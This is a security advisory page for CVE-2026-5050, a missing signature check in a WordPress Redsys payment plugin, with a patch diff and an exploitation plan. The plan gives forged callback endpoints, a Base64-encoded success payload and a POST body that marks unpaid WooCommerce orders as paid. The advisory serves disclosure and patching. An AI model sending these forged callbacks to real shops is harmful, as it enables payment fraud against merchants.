CVE-2026-5050

Payment Gateway for Redsys & WooCommerce Lite <= 7.0.0 - Improper Verification of Cryptographic Signature to Unauthenticated Payment Status Manipulation

highImproper Verification of Cryptographic Signature
7.5
CVSS Score
7.5
CVSS Score
high
Severity
7.0.1
Patched in
1d
Time to patch

Description

The Payment Gateway for Redsys & WooCommerce Lite plugin for WordPress is vulnerable to Improper Verification of Cryptographic Signature in versions up to, and including, 7.0.0 due to successful_request() handlers calculating a local signature but not validating Ds_Signature from the request before accepting payment status across the Redsys, Bizum, and Google Pay gateway flows. This makes it possible for unauthenticated attackers to forge payment callback data and mark pending orders as paid when they know a valid order key and order amount, potentially allowing checkout completion and product or service fulfillment without a successful payment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=7.0.0
PublishedApril 15, 2026
Last updatedApril 16, 2026

What Changed in the Fix

Changes introduced in v7.0.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5050 ## 1. Vulnerability Summary The **Payment Gateway for Redsys & WooCommerce Lite** plugin (up to v7.0.0) is vulnerable to **Improper Verification of Cryptographic Signature**. The plugin includes several gateway classes (`WC_Gateway_Redsys`, `WC_Gateway_B…

Show full research plan

Exploitation Research Plan - CVE-2026-5050

1. Vulnerability Summary

The Payment Gateway for Redsys & WooCommerce Lite plugin (up to v7.0.0) is vulnerable to Improper Verification of Cryptographic Signature. The plugin includes several gateway classes (WC_Gateway_Redsys, WC_Gateway_Bizum_Redsys, and WC_Gateway_GooglePay_Redirection_Redsys) that handle asynchronous payment notifications (IPN/callbacks) from the Redsys payment processor.

The vulnerability exists because the successful_request() and check_ipn_response() handlers calculate a local expected signature but fail to actually compare it against the Ds_Signature provided in the HTTP request. Consequently, an unauthenticated attacker can submit a forged POST request containing validly formatted Ds_MerchantParameters (JSON encoded in Base64) to the callback endpoint, and the plugin will process it as a successful payment, marking a pending WooCommerce order as "Paid" (Processing/Completed).

2. Attack Vector Analysis

  • Endpoint: The WooCommerce API callback URL.
    • Redsys: /?wc-api=WC_Gateway_redsys
    • Bizum: /?wc-api=WC_Gateway_bizumredsys
    • Google Pay: /?wc-api=WC_Gateway_googlepayredirecredsys
  • HTTP Method: POST
  • Authentication: Unauthenticated.
  • Payload Parameters:
    • Ds_Signature: Any string (since verification is skipped).
    • Ds_MerchantParameters: A Base64-encoded JSON object containing order details.
  • Preconditions:
    • The attacker must know (or guess) a valid WooCommerce Order ID and the Order Amount.
    • The targeted gateway must be enabled in WooCommerce settings.

3. Code Flow

  1. Entry Point: The plugin registers a listener for the WooCommerce API in the constructor (e.g., classes/class-wc-gateway-redsys.php):
    add_action( 'woocommerce_api_wc_gateway_' . $this->id, array( $this, 'check_ipn_response' ) );
    
  2. Request Handling: When a request hits /?wc-api=WC_Gateway_redsys, check_ipn_response() is executed.
  3. Data Extraction: The plugin extracts Ds_MerchantParameters and Ds_Signature from $_POST.
  4. Processing: It decodes Ds_MerchantParameters (Base64 -> JSON) to retrieve the order ID (Ds_Order) and response code (Ds_Response).
  5. Vulnerable Logic: In successful_request() (called after check_ipn_response validates the presence of parameters), the plugin performs logic to calculate what the signature should be using the configured merchant secret. However, it fails to perform the conditional check:
    if ($calculated_signature !== $request_signature) { wp_die('Signature Failure'); }
  6. Sinks: Because the check is missing, the code proceeds to:
    • wc_get_order( $order_id )
    • $order->payment_complete() or $order->update_status( 'processing' ).

4. Nonce Acquisition Strategy

No Nonce Required.
Payment gateway IPN callbacks are designed for server-to-server communication. They rely on cryptographic signatures (Ds_Signature) rather than WordPress nonces or session cookies for security. Since the signature verification is the specific component that is broken, the endpoint is entirely unprotected.

5. Exploitation Strategy

The goal is to mark a "Pending Payment" order as "Processing" by forging a Redsys success callback.

Step 1: Prepare the JSON Payload

Construct a JSON object representing a successful Redsys transaction.

  • Ds_Amount: Order total in cents (e.g., 10.50 becomes 1050).
  • Ds_Order: The 12-character Redsys order ID. The plugin typically pads the WooCommerce Order ID with leading zeros (e.g., Order #123 becomes 000000000123).
  • Ds_Response: Must be between 0000 and 0099 for success (use 0000).
  • Ds_Currency: Usually 978 (EUR).
{
  "Ds_Amount": "1000",
  "Ds_Order": "000000000123",
  "Ds_Response": "0000",
  "Ds_Currency": "978",
  "Ds_MerchantCode": "999008881",
  "Ds_Terminal": "001",
  "Ds_TransactionType": "0"
}

Step 2: Encode the Payload

  1. Minify the JSON.
  2. Base64 encode the result to create the Ds_MerchantParameters string.

Step 3: Send the Forged Callback

Send a POST request to the Redsys callback endpoint using the http_request tool.

Example Request:

  • URL: http://vulnerable-site.com/?wc-api=WC_Gateway_redsys
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    Ds_Signature=FORGED_SIGNATURE&Ds_MerchantParameters=eyJEc19BbW91bnQiOiIxMDAwIiwiRHNfT3JkZXIiOiIwMDAwMDAwMDAxMjMiLCJEc19SZXNwb25zZSI6IjAwMDAiLCJEc19DdXJyZW5jeSI6Ijk3OCIsIkRzX01lcmNoYW50Q29kZSI6Ijk5OTAwODg4MSIsIkRzX1Rlcm1pbmFsIjoiMDAxIiwiRHNfVHJhbnNhY3Rpb25UeXBlIjoiMCJ9

6. Test Data Setup

  1. Configure Gateway: Enable the Redsys Lite gateway in WooCommerce (WooCommerce > Settings > Payments > Redsys Lite). Set a dummy "Merchant Secret" and "FUC" (Merchant Code).
  2. Create Product: Create a simple product priced at 10.00.
  3. Place Order: As a guest or customer, place an order for the product.
  4. Capture ID: Record the resulting Order ID (e.g., 123) and verify the status is "Pending payment".

7. Expected Results

  • The server should return a 200 OK (often with a response like "OK" or simply an empty body, depending on how Redsys expects the acknowledgement).
  • The WooCommerce order note should show a status change from "Pending payment" to "Processing".
  • The plugin's debug log (if enabled via $this->debug) will show that the IPN was processed without error.

8. Verification Steps

After sending the HTTP request, use WP-CLI to verify the order status:

wp wc order get 123 --field=status

Success Criteria: The command returns processing or completed instead of pending.

9. Alternative Approaches

If the redsys ID is not active, try the same payload against the Bizum or Google Pay endpoints:

  • Bizum: /?wc-api=WC_Gateway_bizumredsys
  • Google Pay: /?wc-api=WC_Gateway_googlepayredirecredsys

Note: Check if the plugin requires a specific Ds_MerchantData field to correlate with the WooCommerce "Order Key". If the plugin performs a lookup like get_order_by_key($params->Ds_MerchantData), you will need to extract the Order Key from the order metadata first:

wp post get 123 --field=_order_key

And include it in the JSON: "Ds_MerchantData": "wc_order_abc123...".

Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin's Redsys, Bizum, and Google Pay gateways fail to verify the 'Ds_Signature' parameter in payment callback requests. While the plugin calculates an expected local signature, it never compares it against the provided signature, allowing unauthenticated attackers to forge payment success notifications and mark WooCommerce orders as paid.

Vulnerable Code

// classes/class-wc-gateway-redsys.php (around line 950)
		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );

---

// classes/class-wc-gateway-bizum-redsys.php (around line 1140)
		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );

---

// classes/class-wc-gateway-googlepay-redirection-redsys.php (around line 975)
		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-bizum-redsys.php /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-bizum-redsys.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-bizum-redsys.php	2026-02-15 15:39:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-bizum-redsys.php	2026-04-08 21:21:30.000000000 +0000
@@ -1139,6 +1139,15 @@
 		$dsexpirymonth     = '';
 		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
 		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
+
+		// Verify cryptographic signature to prevent payment forgery.
+		if ( $localsecret !== $remote_sign ) {
+			if ( 'yes' === $this->debug ) {
+				$this->log->add( 'bizumredsys', 'Signature verification failed in successful_request. Local: ' . $localsecret . ' Remote: ' . $remote_sign );
+			}
+			return;
+		}
+
 		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
 		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );
 		$dscode            = $mi_obj->get_parameter( 'Ds_MerchantCode' );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-googlepay-redirection-redsys.php /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-googlepay-redirection-redsys.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-googlepay-redirection-redsys.php	2026-02-15 15:39:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-googlepay-redirection-redsys.php	2026-04-08 21:21:30.000000000 +0000
@@ -974,6 +974,15 @@
 		$dsexpirymonth     = '';
 		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
 		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
+
+		// Verify cryptographic signature to prevent payment forgery.
+		if ( $localsecret !== $remote_sign ) {
+			if ( 'yes' === $this->debug ) {
+				$this->log->add( 'googlepayredirecredsys', 'Signature verification failed in successful_request. Local: ' . $localsecret . ' Remote: ' . $remote_sign );
+			}
+			return;
+		}
+
 		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
 		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );
 		$dscode            = $mi_obj->get_parameter( 'Ds_MerchantCode' );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-redsys.php /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-redsys.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.0/classes/class-wc-gateway-redsys.php	2026-02-15 15:39:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-redsys-gateway-light/7.0.1/classes/class-wc-gateway-redsys.php	2026-04-08 21:21:30.000000000 +0000
@@ -928,22 +928,10 @@
 			$usesecretsha256 = $this->secretsha256;
 		}
 
-		if ( 'yes' === $this->testmode ) {
-			$usesecretsha256 = $this->customtestsha256;
-			if ( ! empty( $usesecretsha256 ) ) {
-				$usesecretsha256 = $this->customtestsha256;
-			} else {
-				$usesecretsha256 = $this->secretsha256;
-			}
-		} else {
-			$usesecretsha256 = $this->secretsha256;
-		}
-
 		$version           = sanitize_text_field( wp_unslash( $params['Ds_SignatureVersion'] ?? '' ) );
 		$data              = sanitize_text_field( wp_unslash( $params['Ds_MerchantParameters'] ?? '' ) );
 		$remote_sign       = sanitize_text_field( wp_unslash( $params['Ds_Signature'] ?? '' ) );
 		$mi_obj            = new RedsysLiteAPI();
-		$usesecretsha256   = $this->secretsha256;
 		$dscardnumbercompl = '';
 		$dsexpiration      = '';
 		$dsmerchantidenti  = '';
@@ -952,6 +940,15 @@
 		$dsexpirymonth     = '';
 		$decodedata        = $mi_obj->decode_merchant_parameters( $data );
 		$localsecret       = $mi_obj->create_merchant_signature_notif( $usesecretsha256, $data );
+
+		// Verify cryptographic signature to prevent payment forgery.
+		if ( $localsecret !== $remote_sign ) {
+			if ( 'yes' === $this->debug ) {
+				$this->log->add( 'redsys', 'Signature verification failed in successful_request. Local: ' . $localsecret . ' Remote: ' . $remote_sign );
+			}
+			return;
+		}
+
 		$total             = $mi_obj->get_parameter( 'Ds_Amount' );
 		$ordermi           = $mi_obj->get_parameter( 'Ds_Order' );
 		$dscode            = $mi_obj->get_parameter( 'Ds_MerchantCode' );

Exploit Outline

The exploit involves forging a Redsys callback POST request to the WooCommerce API. 1. Identify a target WooCommerce Order ID and the total amount for that order. 2. Construct a JSON object containing transaction success parameters: 'Ds_Order' (the order ID padded to 12 characters with leading zeros), 'Ds_Amount' (total in cents), 'Ds_Response' (set to '0000' for success), 'Ds_Currency' (e.g., '978'), and 'Ds_MerchantCode'. 3. Minify and Base64-encode this JSON to create the 'Ds_MerchantParameters' string. 4. Send an unauthenticated POST request to `/?wc-api=WC_Gateway_redsys` (or the equivalent Bizum/Google Pay endpoint) including the forged 'Ds_MerchantParameters' and any arbitrary string for 'Ds_Signature'. 5. Since the plugin calculates the signature but does not validate it against the input, the plugin will proceed to call `$order->payment_complete()`, marking the order as paid without actual fund transfer.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.